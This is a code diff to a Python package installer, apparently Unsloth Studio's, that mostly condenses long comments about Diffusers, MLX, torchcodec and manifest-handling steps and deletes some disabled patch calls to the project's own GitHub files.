@@ -12009,9 +11225,7 @@ def _direct_reference_is_installed(req: Path, dist_name: str) -> bool:
return False
if _COMMIT_REVISION_RE.fullmatch(revision):
return True
- # A branch ref (release/3.6.x) moves without the requirements text changing, so one
- # `git ls-remote` says where it is now. Same commit skips, a moved ref runs the step, an
- # unreachable remote keeps the resident build (the pass used to die here offline).
+ # A branch ref can move with unchanged requirements, so ask `git ls-remote`; unreachable keeps it.
commit_id = str(vcs.get("commit_id") or "").strip().lower()
if not _COMMIT_REVISION_RE.fullmatch(commit_id or "x"):
return False
@@ -12059,8 +11273,7 @@ def _triton_kernels_step() -> None:
return
if "current" not in asked:
_ref_current()
- # Provenance alone is not a build: triton_kernels/ can be gone under its dist-info, and a forced
- # pass asked for every step.
+ # Provenance alone is not a build: triton_kernels/ can be gone under its dist-info.
if (
asked["current"]
and not _full_deps_requested()
@@ -12238,8 +11451,7 @@ def _diffusers_main_needs_dependency_pass() -> bool:
return last != "failed"
-# The backend's startup repair records its failure here, read by the repair alone so an explicit
-# update still retries; that pass rewrites the manifest without it.
+# Startup repair records its failure here; only the repair reads it, so an explicit update retries.
_DIFFUSERS_MAIN_REPAIR_KEY = "diffusers_main_repair"
@@ -12299,9 +11511,7 @@ def _repair_diffusers_main() -> int:
global USE_UV, _STEP, _TOTAL
while True:
with install_manifest.pass_lock() as uncontended:
- # Every "nothing to do" answer waits for the lock too: until a sibling backend's repair or an
- # update leaves the pass it may be rewriting diffusers, and returning would let the backend
- # that started this import it.
+ # Even "nothing to do" waits for the lock: a sibling repair or update may be rewriting diffusers.
if uncontended:
if not _diffusers_main_active():
return _repair_diffusers_release()
@@ -12316,7 +11526,7 @@ def _repair_diffusers_main() -> int:
_diffusers_main_step()
if _diffusers_main_resident():
return 0
- # Or every start retries a fetch this host cannot make, refusing diffusion loads meanwhile.
+ # Or every start retries a fetch this host cannot make.
install_manifest.update_manifest(**{_DIFFUSERS_MAIN_REPAIR_KEY: "failed"})
return 2
time.sleep(_REPAIR_LOCK_POLL_S)
@@ -12436,12 +11646,8 @@ def _diffusers_main_step() -> None:
if not req.is_file():
_progress("diffusers main (skipped, no pin file)")
return
- # The zip route, taken ONLY when git cannot do the job. Not the default: a clone records the
- # ref in direct_url.json and an archive records only a URL, and the git URL is what the pin
- # file is written in. But "no git" is the common case, not the exotic one (the desktop bundle
- # ships no git, and a macOS `git` that is an unconfigured xcrun shim exits non-zero), and
- # skipping there costs the newest model family on a host that could have fetched the same tree
- # over plain https. None when the pin is not a full GitHub commit, which keeps the old skip.
+ # Zip route only when git cannot work (desktop bundle has no git; macOS xcrun shim fails): a clone
+ # records the ref, an archive only a URL. None unless the pin is a full GitHub commit.
archive = None
if not _has_working_git():
archive = _diffusers_main_archive(req)
@@ -12453,22 +11659,16 @@ def _diffusers_main_step() -> None:
"Diffusers will refuse with a message naming the version they want.",
)
return
- # The escape hatch reaches this skip too. UNSLOTH_STUDIO_FULL_DEPS is the documented way to
- # repair an install whose evidence looks fine and whose payload is not, and _diffusers_main_resident
- # is exactly such evidence: _payload_recorded_intact compares recorded sizes, so a same-size
- # corruption reads as intact. A skip nobody can turn off is a bug nobody can work around.
+ # UNSLOTH_STUDIO_FULL_DEPS reaches this skip too: residency compares recorded sizes, so same-size
+ # corruption reads as intact.
if not _full_deps_requested() and _diffusers_main_resident(req):
_progress("diffusers main (satisfied, skipped)")
_record_step("diffusers-main.txt", "skipped")
return
_progress("diffusers main (no git, from archive)" if archive else "diffusers main")
_record_step("diffusers-main.txt", "ran")
- # pip_install_try, NOT pip_install, and this is the whole reason the step is safe to run by
- # default. pip_install exits the installer on failure, which would make a reachable github.com
- # a hard requirement of every install: a PyPI mirror with no route out, a proxy that blocks git
- # over https, a transient upstream outage would each turn a working install into no install at
- # all. Diffusers is mandatory, so the failure has to be survivable, and it is exactly survivable
- # because the release pin ran first and is still resident. Degrading costs one model.
+ # pip_install_try, not pip_install: github.com must not be a hard requirement of every install, and
+ # the release pin is still resident, so failing costs one model.
if archive is not None:
installed = pip_install_try(
"Installing the pinned Diffusers main build (zip archive, no git)",
@@ -12651,8 +11851,7 @@ def _run_patch_metadata() -> None:
)
-# What building the plugin writes back into its directory (build/lib, src/<name>.egg-info).
-# Digesting those rebuilt the plugin on the first pass after an install, which failed offline.
+# Build outputs written into the plugin dir; digesting them forced an offline rebuild after install.
_PLUGIN_BUILD_ARTIFACT_DIRS = frozenset({"__pycache__", "build", "dist", ".eggs"})
@@ -12684,8 +11883,7 @@ def _local_plugin_digest(plugin_dir: Path) -> "str | None":
if path.is_file() and not _is_plugin_build_artifact(path.relative_to(plugin_dir))
)
for path in paths:
- # surrogateescape, not strict: POSIX allows filenames that are not UTF-8, and
- # a stray one beside the sources would otherwise end the update here.
+ # surrogateescape: POSIX filenames need not be UTF-8.
digest.update(
path.relative_to(plugin_dir).as_posix().encode("utf-8", "surrogateescape")
)
@@ -12704,8 +11902,7 @@ def _read_own_source() -> "bytes | None":
return None
-# This file as it was when the process started. The core-packages step upgrades the package
-# that ships it, and the process keeps running the old code while the new copy sits on disk.
+# The core-packages step can upgrade this file on disk while the old code keeps running.
_INSTALLER_SOURCE_AT_START = _read_own_source()
# Set on the rerun, so a second replacement cannot loop.
_INSTALLER_RERUN_ENV = "UNSLOTH_INSTALLER_RERUN"
@@ -12732,8 +11929,7 @@ def _rerun_replaced_installer() -> int:
"""
_note("the update replaced this installer; finishing with the new version")
try:
- # The child writes to the same descriptors, so anything still buffered here would land
- # after its output.
+ # The child shares the descriptors, so flush first or our buffered output lands after its output.
sys.stdout.flush()
sys.stderr.flush()
except (OSError, ValueError):
@@ -12773,27 +11969,18 @@ def install_python_stack() -> int:
_BNB_ROCM_PASS_PROVENANCE = None
_BNB_ROCM_PASS_ASSET = None
_STEP_RESULTS.clear()
- # Registered by the steps as they run: a stale entry would be audited for a step never reached.
_AUDITED_STEPS.clear()
- # An aborted earlier run leaves it set, and every _safe_print() consumes it --
- # the first message would get a stray newline.
+ # An aborted earlier run can leave it set, giving the first message a stray newline.
_PROGRESS_LINE_ACTIVE = False
- # install.sh sets SKIP_STUDIO_BASE=1 to avoid reinstalling the core packages;
- # `studio update` does NOT, so unsloth + unsloth-zoo are reinstalled to pick
- # up new versions. Shared base.txt requirements are handled independently.
+ # install.sh sets SKIP_STUDIO_BASE=1; `studio update` does not, so core packages are reinstalled.
skip_base = os.environ.get("SKIP_STUDIO_BASE", "0") == "1"
# --package installs a different package name (for testing).
package_name = os.environ.get("STUDIO_PACKAGE_NAME", "unsloth")
- # --local overlays a local repo checkout after updating deps.
local_repo = os.environ.get("STUDIO_LOCAL_REPO", "")
- # read where the overlay runs, so UNSLOTH_ZOO_REF reaches the metadata-repair
- # reinstall path too, not just the two calls below
# Clean-machine CI overlays only unsloth, not the full local source pair.
ci_source_overlay = os.environ.get("UNSLOTH_CI_SOURCE_OVERLAY", "")
- # Five lettered steps beside the numbered ones: anyio repair (8b), accelerate repair
- # (8c, Windows only), diffusers pin (11b), diffusers main (11c), torchcodec (13b).
- # 11c is counted unconditionally because it spends its slot unconditionally, opt-out included.
+ # Includes lettered steps 8b, 8c (Windows), 11b, 11c, 13b; 11c always spends its slot.
base_total = 14 if IS_WINDOWS else 15
if IS_WINDOWS:
base_total += 1 # 8c, gated exactly as the step is
@@ -12808,32 +11995,22 @@ def install_python_stack() -> int:
base_total += 1 # torch flavor invariant (step 13w), Windows
if IS_MAC_ARM and not NO_TORCH:
base_total += 1 # MLX stack, same gate as the step itself
- # The re-resolve after the core phase, which may have moved the unsloth-zoo whose
- # declared mlx-vlm range the step above honoured. Same gate, so the slot is spent on
- # every Apple Silicon run with torch, including the no-wheel branch.
+ # Re-resolve after the core phase may move unsloth-zoo; same gate, so the slot is always spent.
base_total += 1 # MLX stack re-resolve
if IS_MAC_ARM:
base_total += 1 # MLX grammar engine (step 11d), same gate as the step itself
if NO_TORCH and not skip_base:
- # no-torch runtime deps, which this build announces on its own slot inside the core
- # step rather than folding into it. Same gate as the step itself.
+ # no-torch runtime deps get their own slot inside the core step.
base_total += 1
base_requirements = _shared_base_requirements() if skip_base else None
- # Core packages and shared base requirements occupy one progress slot. A
- # shell-installer handoff skips that slot only while base.txt has no work.
+ # A shell-installer handoff skips the core slot only while base.txt has no work.
_TOTAL = base_total - int(skip_base and base_requirements is None)
- # Before the manifest goes: it is the only copy of what the last run did. None means every step
- # runs.
+ # Before the manifest goes: it is the only record of the last run.
_PASS_EVIDENCE = _plan_pass(package_name, local_repo, ci_source_overlay)
- # Drop it up front: a missing manifest is what tells the CLI, setup.sh and the preflight
- # that an interrupted run left the venv half-built, so stop if it survives rather than
- # mutate behind a marker that still verifies.
- # A stale parked copy goes FIRST, while the live manifest is still there: _plan_pass
- # consumes the one it reads, so anything left is from a run that died. One that cannot be
- # cleared has to refuse here, or the venv can neither verify nor finish and every later
- # update stops at the same point.
+ # Drop the manifest up front: its absence tells the CLI, setup.sh and preflight a run was interrupted.
+ # A stale parked copy goes first; one that cannot be cleared must refuse here.
_parked = install_manifest.previous_manifest_path()
install_manifest.consume_previous_manifest()
if install_manifest.manifest_is_present(_parked):
@@ -12863,17 +12040,13 @@ def install_python_stack() -> int:
)
return 1
- # The manifest just went away, so record the mode in a marker that survives a
- # pass killed part-way. Otherwise the next update sees neither, reads the
- # absent torch as a stale venv, and tries to delete the running environment.
+ # Record the mode in a marker that survives a killed pass, or the next update may delete the venv.
install_manifest.set_no_torch_marker(NO_TORCH)
USE_UV = _bootstrap_uv()
- # 2. Ensure pip is available (uv venvs from install.sh omit pip).
- # The escape hatch (UNSLOTH_STUDIO_FULL_DEPS) reaches this skip too.
+ # 2. Ensure pip is available (uv venvs omit it). UNSLOTH_STUDIO_FULL_DEPS reaches this skip too.
if not _full_deps_requested() and _venv_pip_is_usable():
- # This step used to reinstall pip from the index on every update.
_progress("pip bootstrap (satisfied, skipped)")
_record_step("pip", "skipped")
elif USE_UV:
@@ -12893,7 +12066,6 @@ def install_python_stack() -> int:
else:
_progress("pip bootstrap")
_record_step("pip", "ran")
- # uv-created venvs omit pip: ensurepip, else direct upgrade.
_has_pip = (
subprocess.run(
[sys.executable, "-m", "pip", "--version"],
@@ -12929,24 +12101,18 @@ def install_python_stack() -> int:
):
return 1
- # Intact metadata over a missing payload: the core phase would audit it as
- # satisfied. Unbudgeted, since this run is already doing a full install.
+ # Intact metadata over a missing payload would audit as satisfied.
if not _repair_damaged_core_payload(_core_package_names(package_name), local_repo = local_repo):
return 1
- # macOS arm64: not keyed off skip_base, because a fresh install skips core packages
- # and still needs MLX. Not on --no-torch: it declined the training stack. Pins stay
- # aligned with utils/mlx_repair.py and unsloth-zoo; UV_OVERRIDE (set at module load)
- # relaxes the mlx-vlm / mlx-lm transformers pin.
- # None when the MLX step did not run at all, so the re-resolve after the core phase has
- # nothing to compare against.
+ # macOS arm64: not keyed off skip_base (fresh installs still need MLX), not on --no-torch. Pins align
+ # with utils/mlx_repair.py and unsloth-zoo. None when the MLX step did not run.
_mlx_vlm_spec_used: Optional[str] = None
_mlx_lm_spec_used: Optional[str] = None
if IS_MAC_ARM and not NO_TORCH:
# Both branches spend the slot, so the denominator does not depend on the host.
if _mlx_pins_are_installable():
- # _may_skip_on_evidence too: exact pins read as satisfied on the very run a forced pass
- # was asked for. And the arm64 overrides digest: UV_OVERRIDE shapes MLX's graph.
+ # _may_skip_on_evidence too, and the arm64 overrides digest: UV_OVERRIDE shapes MLX's graph.
if (
_may_skip_on_evidence()
and _mlx_stack_is_current()
@@ -12960,8 +12126,7 @@ def install_python_stack() -> int:
pip_install(
"Installing MLX stack (mlx + mlx-lm + mlx-vlm)",
"--no-cache-dir",
- # --upgrade-package per name, never a bare --upgrade, which re-resolves every
- # transitive dependency; _build_pip_cmd translates back for pip.
+ # Never a bare --upgrade, which re-resolves every transitive dependency.
*[arg for name in _MLX_NAMES for arg in ("--upgrade-package", name)],
*_MLX_PINS,
_mlx_lm_spec_for_installed_zoo(),
@@ -12982,19 +12147,16 @@ def install_python_stack() -> int:
"rather than failing the install"
)
- # gfx906: the base install below resolves unsloth's unconditional bitsandbytes
- # dep to a generic CUDA wheel (no gfx906 kernels). Record bnb's presence now so
- # _ensure_rocm_torch can drop a freshly pulled wheel while keeping a source build.
+ # gfx906: record bnb presence before the base install pulls a generic wheel.
global _GFX906_BNB_ABSENT_BEFORE_BASE
if not skip_base:
_GFX906_BNB_ABSENT_BEFORE_BASE = not _bitsandbytes_installed()
# 3. Core packages: unsloth-zoo + unsloth (or custom package name)
if skip_base:
- # install.sh / install.ps1 already installed both core distributions.
pass
elif NO_TORCH:
- # No-torch update path: --no-deps throughout (PyPI metadata makes torch a hard dep).
+ # No-torch path: --no-deps throughout (PyPI metadata makes torch a hard dep).
_progress("base packages (no torch)")
unsloth_spec, zoo_spec = _desktop_unsloth_spec(package_name)
pip_install(
@@ -13008,7 +12170,7 @@ def install_python_stack() -> int:
unsloth_spec,
zoo_spec,
)
- # pydantic WITH deps (all torch-free) so pip pins a matching pydantic-core.
+ # With deps so pip pins a matching pydantic-core.
pip_install(
"Installing pydantic (with deps for compatible core)",
"--no-cache-dir",
@@ -13024,8 +12186,7 @@ def install_python_stack() -> int:
if local_repo:
_overlay_local_core_packages(local_repo)
elif local_repo:
- # Local dev install: update the released core packages, then overlay the
- # checkout as an editable install (--no-deps so torch is not re-resolved).
+ # Overlay the checkout editable with --no-deps so torch is not re-resolved.
_progress("base packages")
with _FreezeNewTorchForCoreUpdate():
pip_install(
@@ -13040,7 +12201,6 @@ def install_python_stack() -> int:
)
_overlay_local_core_packages(local_repo)
elif package_name != "unsloth":
- # Custom package name (for testing): install directly.
_progress("base packages")
pip_install(
f"Installing {package_name}",
@@ -13062,16 +12222,12 @@ def install_python_stack() -> int:
zoo_spec,
)
- # The package just installed may ship a newer copy of this file. Raised rather than rerun
- # here, so the pass lock is released first; the rerun repeats the cheap steps above.
+ # The new package may ship a newer copy of this file; raise so the pass lock is released first.
if _installer_replaced():
raise _InstallerReplaced
- # The MLX step ran BEFORE the core phase, so it honoured the mlx-vlm range the OLD
- # unsloth-zoo declared. A normal update then upgrades the zoo, and without this the machine
- # keeps the narrower stack indefinitely: the startup self-heal will not correct it either,
- # since 0.6.x satisfies _MLX_MIN_VERSIONS. Re-resolve only when the declared range actually
- # moved, so the common update pays a metadata read and nothing else.
+ # The MLX step honoured the OLD zoo's mlx-vlm range; re-resolve when the declared range moved,
+ # since the startup self-heal will not correct it.
if IS_MAC_ARM and not NO_TORCH:
_mlx_vlm_spec_now = _mlx_vlm_spec_for_installed_zoo()
_mlx_lm_spec_now = _mlx_lm_spec_for_installed_zoo()
@@ -13095,8 +12251,7 @@ def install_python_stack() -> int:
if not skip_base:
base_requirements = _shared_base_requirements()
- # Independent of the core phase: the shell installers skip that after
- # installing the two distributions inline, but still apply this file.
+ # Shell installers skip the core phase but still apply this file.
if base_requirements is not None:
satisfied = _requirements_satisfied(base_requirements, no_deps = False)
_record_step("base.txt", "skipped" if satisfied else "ran")
@@ -13127,12 +12282,10 @@ def install_python_stack() -> int:
return 1
if _ensure_cpu_torch() is False:
return 1
- # Last, after every torch migration: the swap keys off the installed +xpu label, so a
- # CPU pin over an XPU venv would leave XPU triton under a CPU torch.
+ # Last, after every torch migration: the swap keys off the installed +xpu label.
_ensure_xpu_triton()
if IS_WINDOWS and not NO_TORCH and not _has_usable_nvidia_gpu():
- # Validate actual AMD GPU presence (not just tool existence).
import re as _re_win
def _win_amd_smi_has_gpu(stdout: str) -> bool:
@@ -13177,8 +12330,7 @@ def install_python_stack() -> int:
pip_install(
"Installing additional unsloth dependencies",
"--no-cache-dir",
- # extras.txt is where the wheel-less requirements live, so a user-level
- # no-build/only-binary policy fails this step first (#8530).
+ # extras.txt holds the wheel-less requirements, so binary-only policies fail here first.
*_sdist_only_build_args(*_extras_sdist_only_packages()),
req = REQ_ROOT / "extras.txt",
)
@@ -13192,9 +12344,7 @@ def install_python_stack() -> int:
req = REQ_ROOT / "extras-no-deps.txt",
)
- # 4. Install the torch-matched torchao override. Reinstall only when the pin
- # changes, since Windows can remove shared files during replacement.
- # Skip when torch is unavailable.
+ # 4. torch-matched torchao override; reinstall only on pin change (Windows can lose shared files).
if NO_TORCH:
_progress("dependency overrides (skipped, no torch)")
elif _rocm_windows_torch_installed or _installed_torch_is_windows_rocm():
@@ -13205,9 +12355,7 @@ def install_python_stack() -> int:
_progress("dependency overrides")
_install_torchao_for_torch(_probe_installed_torch_version())
- # 5. Triton kernels (no-deps, from source). Skipped on Windows/macOS (no support)
- # and without git (the requirement is a git+https URL); a training speedup
- # only, so warn rather than fail the install.
+ # 5. Triton kernels (no-deps, from source); not on Windows/macOS or without git. Warn only.
if not IS_WINDOWS and not IS_MACOS:
_triton_kernels_step()
@@ -13216,27 +12364,6 @@ def install_python_stack() -> int:
_ensure_flash_attn()
_remove_stale_ssm_kernels()
- # # 6. Patch: override llama_cpp.py with fix from unsloth-zoo feature/llama-cpp-windows-support branch
- # patch_package_file(
- # "unsloth-zoo",
- # os.path.join("unsloth_zoo", "llama_cpp.py"),
- # "https://raw.githubusercontent.com/unslothai/unsloth-zoo/refs/heads/main/unsloth_zoo/llama_cpp.py",
- # )
-
- # # 7a. Patch: override vision.py with fix from unsloth PR #4091
- # patch_package_file(
- # "unsloth",
- # os.path.join("unsloth", "models", "vision.py"),
- # "https://raw.githubusercontent.com/unslothai/unsloth/80e0108a684c882965a02a8ed851e3473c1145ab/unsloth/models/vision.py",
- # )
-
- # # 7b. Patch : override save.py with fix from feature/llama-cpp-windows-support
- # patch_package_file(
- # "unsloth",
- # os.path.join("unsloth", "save.py"),
- # "https://raw.githubusercontent.com/unslothai/unsloth/refs/heads/main/unsloth/save.py",
- # )
-
# 8. Unsloth dependencies
if not _skip_step(REQ_ROOT / "studio.txt", "Unsloth Studio deps", no_deps = False):
pip_install(
@@ -13299,8 +12426,7 @@ def install_python_stack() -> int:
and _recorded_plugins.get(_plugin_key) == _plugin_digest
# The directory name IS the distribution name (each plugin's pyproject.toml).
and bool(_installed_distribution_version(plugin_dir.name))
- # ...and the payload: deleting the installed module left version and source digest
- # unchanged and the step skipped forever. limit = 1: one missing file is the answer.
+ # ...and the payload: a deleted module leaves version and source digest unchanged.
and not _local_plugin_payload_is_damaged(plugin_dir.name)
)
if not _plugin_current:
@@ -13316,18 +12442,9 @@ def install_python_stack() -> int:
constrain = False,
)
- # 11b. The pinned Diffusers release. NOT in base.txt, which is applied early: this must
- # run after every other requirements file so nothing re-resolves Diffusers back to a
- # release, and outside every skip_base / NO_TORCH branch so it reaches every path.
- # constrain stays on: constraints.txt says nothing about diffusers today, and a
- # future entry there should win rather than be silently bypassed here.
- # And it stands down once 11c's build is resident. Nothing here can see that on its own: a
- # main build reports 0.41.0.dev0, which does not satisfy `diffusers==0.40.0`, so this step
- # would reinstall the release on every later pass and 11c would put the same commit back on
- # top of it. Two Diffusers installs per update, no update that is a no-op, and offline the
- # downgrade lands while the restore cannot. Only a build that is BOTH wanted and already
- # resident supersedes it, so opting out still reinstates the release, and a first install
- # still lays it down first, which is what a failed source build degrades to.
+ # 11b. The pinned Diffusers release, after every other requirements file and on every path.
+ # Stands down once 11c's build is resident (main reports 0.41.0.dev0, never ==0.40.0), else every
+ # update would install the release then main again.
if not _skip_step(
REQ_ROOT / "diffusers-pin.txt",
"diffusers pin",
@@ -13340,11 +12457,8 @@ def install_python_stack() -> int:
req = REQ_ROOT / "diffusers-pin.txt",
)
- # 11c. A pinned commit of Diffusers main, for models whose support has merged upstream but has
- # not reached a release. ON by default; UNSLOTH_DIFFUSERS_MAIN=0 opts out. Runs immediately
- # after the release pin so it overwrites it, and only ever on top of it: the release is
- # already resident, so no git and a failed source build both degrade to a working install
- # rather than no install.
+ # 11c. Pinned Diffusers main commit (UNSLOTH_DIFFUSERS_MAIN=0 opts out), on top of the release so a
+ # failure degrades to a working install.
_diffusers_main_step()
# 11d. Apple Silicon grammar engine, outside skip_base (install.sh always skips base); failure only loses MLX response_format.
@@ -13383,13 +12497,9 @@ def install_python_stack() -> int:
return 1
if _ensure_cpu_torch() is False:
return 1
- # Last, after every torch migration: the swap keys off the installed +xpu label, so a
- # CPU pin over an XPU venv would leave XPU triton under a CPU torch.
+ # Last, after every torch migration: the swap keys off the installed +xpu label.
_ensure_xpu_triton()
- # Step 4 chose torchao from the torch these repairs then moved. The XPU pin is the
- # sharp case: torch>=2.6,<2.11.0 lands below torchao 0.18.0's 2.11 floor. Only the
- # Windows repair reaches _resync_torch_coupled_packages, so on Linux nothing
- # re-selected it (#10493).
+ # Step 4 chose torchao from the torch these repairs then moved (e.g. XPU <2.11 below torchao 0.18).
_torch_after_repair = str(_probe_installed_torch_version() or "")
if _torch_after_repair and _torch_after_repair != _torch_before_repair:
_note(
@@ -13405,8 +12515,7 @@ def install_python_stack() -> int:
_evict_xformers_built_for_another_torch(scope = "linux torch repair", family_only = True)
_evict_xformers_requiring_another_torch()
- # 13w. Windows torch flavor invariant, separate from step 13's Linux-shaped repair set
- # but in the same position: last, after the with-deps steps re-resolved torch.
+ # 13w. Windows torch flavor invariant: last, after with-deps steps re-resolved torch.
if IS_WINDOWS and not NO_TORCH:
_progress(_torch_step_label("flavor"))
torch_flavor_tag = _expected_torch_flavor_tag()
@@ -13422,21 +12531,14 @@ def install_python_stack() -> int:
# because the swap keys off the installed +xpu label.
_ensure_xpu_triton()
elif not NO_TORCH:
- # Resolve it on the other platforms too, for the RECORD only. Without this a Linux GPU box
- # installed with a transient explicit CPU pin looks, on the next launch, like a CPU wheel
- # beside a physical GPU.
+ # Resolved elsewhere too, for the record only.
torch_flavor_tag = _expected_torch_flavor_tag()
- # 13x. Optional win_arm64 features whose released metadata excludes them outright. After the
- # invariant above, so xformers is validated against the torch the install ends with.
+ # 13x. Optional win_arm64 features excluded by metadata; after the invariant so xformers matches torch.
_install_wheelhouse_optionals()
- # 13b. torchcodec, pinned to the venv's torch minor (_select_torchcodec_spec), which
- # extras-no-deps.txt cannot do because markers cannot see torch. Must run after the
- # repair above: that can move torch onto another minor, staling an earlier choice.
- # The runtime probe reports nothing on a timeout (the wedged-driver host it exists to
- # tolerate), so read the installed metadata before giving up: guessing here means
- # downgrading a matching codec onto the default and recreating the mismatch.
+ # 13b. torchcodec pinned to the torch minor (markers cannot see torch); after the repair. On a probe
+ # timeout read installed metadata rather than guess.
_codec_torch_ver = None
_codec_hosted = None
if not NO_TORCH and (not PLATFORM_LACKS_TORCHCODEC_WHEEL or _wheelhouse_hosts("torchcodec")):
@@ -13448,8 +12550,7 @@ def install_python_stack() -> int:
if NO_TORCH:
_progress("torchcodec (skipped, no torch)")
elif _codec_hosted:
- # The wheelhouse stands in for the wheel this platform lacks: --no-deps and pinned to
- # the hosted version inside the resident torch's window, like the other hosted optionals.
+ # The wheelhouse stands in for the missing wheel: --no-deps, pinned inside the torch window.
_progress("torchcodec")
if pip_install_try(
f"Installing torchcodec=={_codec_hosted} from the Windows on ARM wheelhouse",
@@ -13480,8 +12581,7 @@ def install_python_stack() -> int:
f"(torch 2.{_TORCHCODEC_MIN_KNOWN_MINOR}) -- leaving torchcodec alone"
)
elif not _torchcodec_spec_is_installable(_select_torchcodec_spec(_codec_torch_ver)):
- # This platform published no wheel in the window this torch selects. Skipping is what
- # such a host got before this step existed; attempting it would end the install.
+ # No wheel for this window: skip, since attempting would end the install.
_progress("torchcodec (skipped, no wheel for this torch on this platform)")
_note(
f"torch {_codec_torch_ver} wants {_select_torchcodec_spec(_codec_torch_ver)}, "
@@ -13490,9 +12590,7 @@ def install_python_stack() -> int:
else:
_progress("torchcodec")
_codec_spec = _select_torchcodec_spec(_codec_torch_ver)
- # Pin the index to the resident torch's build. The version alone is not enough:
- # torchcodec ships a separate wheel per accelerator, and the right version from the
- # wrong index is a codec that cannot load.
+ # Pin the index too: torchcodec ships per accelerator, and the wrong index loads nothing.
_codec_index = _torchcodec_index_url(_codec_torch_ver, _codec_spec)
_codec_args = ("--no-deps", "--no-cache-dir")
_codec_rebuild = False
@@ -13500,21 +12598,14 @@ def install_python_stack() -> int:
_codec_want = None
if _codec_index:
_codec_args += ("--index-url", _codec_index)
- # A codec already inside the window satisfies the requirement, so pip and uv
- # skip it and the pin never fetches anything -- leaving in place exactly the
- # wrong-accelerator wheel this pin exists to replace. Provenance is readable
- # from the version: the torch indexes carry a +cuNNN / +cpu local tag and PyPI
- # forbids one, so a local tag that is missing or different means another build.
- # The tag the PIN will fetch, not the resident torch's: an xpu torch is served
- # the cpu wheel, so comparing against "xpu" would force-reinstall every run.
+ # An in-window codec satisfies pip, so check its local tag (+cuNNN / +cpu; PyPI has none) against
+ # the tag the PIN fetches (xpu is served cpu).
_codec_want = _torchcodec_index_tag(_codec_torch_ver)
if _codec_have and (
_codec_want is None or _codec_have.partition("+")[2].strip().lower() != _codec_want
):
_codec_args += ("--force-reinstall",)
_codec_rebuild = True
- # One decision, read twice (the line below names it). _may_skip_on_evidence is part of
- # it: a forced pass or failed deep verify is a claim metadata cannot answer.
_codec_skip = (
_may_skip_on_evidence()
and not _codec_rebuild
@@ -13527,21 +12618,12 @@ def install_python_stack() -> int:
if _codec_skip
else f"installing {_codec_spec}"
)
- # Redacted for display only; the installer below still gets the exact URL.
- # An authenticated mirror puts its credentials in the userinfo or a query
- # token, and this line is printed straight to the terminal and CI log rather
- # than through _redact_install_output, which only covers captured pip output.
+ # Redacted for display only: printed straight to the terminal, not via _redact_install_output.
+ (f" from {_strip_index_url_credentials(_codec_index)}" if _codec_index else "")
+ (" (replacing a build from another index)" if _codec_rebuild else "")
)
- # pip_install_try, not pip_install: audio is an optional extra, and pip_install's
- # failure path is run(check=True), i.e. exit. Letting an audio wheel end a Studio
- # install inverts the rule the extras-no-deps filter above exists to enforce, and
- # the index can refuse for reasons no local table predicts -- a yanked release, an
- # offline mirror, a platform tag added or dropped upstream after this shipped.
+ # pip_install_try: audio is optional and pip_install exits on failure.
if _codec_skip:
- # Right version, right index: pip and uv would resolve against the accelerator index to
- # decide the same thing.
_record_step("torchcodec", "skipped")
_codec_ok = True
_codec_fellback = False
@@ -13550,23 +12632,18 @@ def install_python_stack() -> int:
_codec_ok = pip_install_try("Installing torchcodec", *_codec_args, _codec_spec)
_codec_fellback = False
if not _codec_ok and _codec_index and _STEP_RESULTS.get("torchcodec") == "ran":
- # The leaf may not carry this window at all: cu129 serves torch 2.8-2.13 but
- # publishes no 0.8 or 0.9. Retry unpinned rather than table what each index
- # holds, which is what goes stale. _torchcodec_provenance_hint explains at
- # import if that lands another accelerator's build.
+ # The leaf may not carry this window (cu129 lacks 0.8 / 0.9), so retry unpinned.
_note(
f"{_strip_index_url_credentials(_codec_index)} did not serve {_codec_spec} "
"-- retrying from the default index"
)
- # Drop only the pin: --force-reinstall must survive, or pip calls the requirement
- # satisfied and leaves the wrong-accelerator wheel in place.
+ # Keep --force-reinstall, or pip keeps the wrong-accelerator wheel.
_codec_retry_args = [
a
for i, a in enumerate(_codec_args)
if a != "--index-url" and _codec_args[i - 1] != "--index-url"
]
- # _codec_index stays set: PyPI's wheel is still a CUDA build on Linux, so the
- # NPP step below still applies.
+ # PyPI's wheel is still CUDA on Linux, so the NPP step below still applies.
_codec_ok = pip_install_try("Installing torchcodec", *_codec_retry_args, _codec_spec)
_codec_fellback = _codec_ok
if not _codec_ok:
@@ -13575,17 +12652,11 @@ def install_python_stack() -> int:
"the rest of the install is unaffected"
)
elif _codec_index:
- # NOT gated on the codec step having run: NPP fails on its own, and gating it meant a
- # skipped codec left NPP never looked at again. Still free when already installed.
- # torchcodec's CUDA build dlopens libnppicc and libnppc, and NPP is not in torch's
- # dependency set, so an older cuNNN wheel installs fine under --no-deps and then
- # fails to import. 0.12+ no longer links NPP, so this only guards the older pins.
- # _npp_requirement spells the name, which stops being suffixed after 12.
+ # Not gated on the codec step. torchcodec <0.12 CUDA builds dlopen NPP, which is not a torch dep, so
+ # --no-deps installs succeed and then fail to import.
_npp_major = _cuda_major_for_npp(_codec_torch_ver, _codec_index)
if _codec_fellback:
- # The pin is gone, so the tag no longer describes this wheel. Probe EVERY
- # fallback, including tags implying no CUDA: an xpu host takes the cpu leaf
- # and still lands PyPI's CUDA build, needing NPP its tag never mentioned.
+ # Pin dropped: probe every fallback, since an xpu host can still land PyPI's CUDA build.
_npp_probed = _installed_torchcodec_cuda_major()
if _npp_probed is not None and _npp_probed != _npp_major:
_note(
@@ -13595,12 +12666,9 @@ def install_python_stack() -> int:
)
_npp_major = _npp_probed
_npp_spec = _npp_requirement(_npp_major) if _npp_major else ""
- # The distribution the spec names (nvidia-npp-cuNN through CUDA 12, nvidia-npp above);
- # _spec_is_satisfied answers the range.
_npp_name = re.split(r"[<>=!~]", _npp_spec, maxsplit = 1)[0].strip() if _npp_spec else ""
_npp_have = _installed_distribution_version(_npp_name) if _npp_name else None
if _npp_have and _spec_is_satisfied(_npp_spec, _npp_have):
- # Already resident; asking pip resolved against PyPI on every update.
pass
elif _npp_spec and not pip_install_try(
"Installing torchcodec CUDA runtime (NPP)",
@@ -13612,8 +12680,8 @@ def install_python_stack() -> int:
"import on a host without the CUDA toolkit, leaving audio disabled"
)
- # 14. Final check (silent; third-party conflicts are expected). Paid when this pass installed
- # something, or the last recorded run had no clean answer.
+ # 14. Final check (silent; third-party conflicts are expected). Only when this pass installed
+ # something or the last run had no clean answer.
_pip_check_ok = (_PASS_EVIDENCE or {}).get("pip_check_ok")
if _INSTALL_ACTIONS > 0 or _pip_check_ok is not True:
_pip_check_ok = (
@@ -13626,12 +12694,7 @@ def install_python_stack() -> int:
== 0
)
- # 14b. Repair again before the manifest is written. The pass above runs
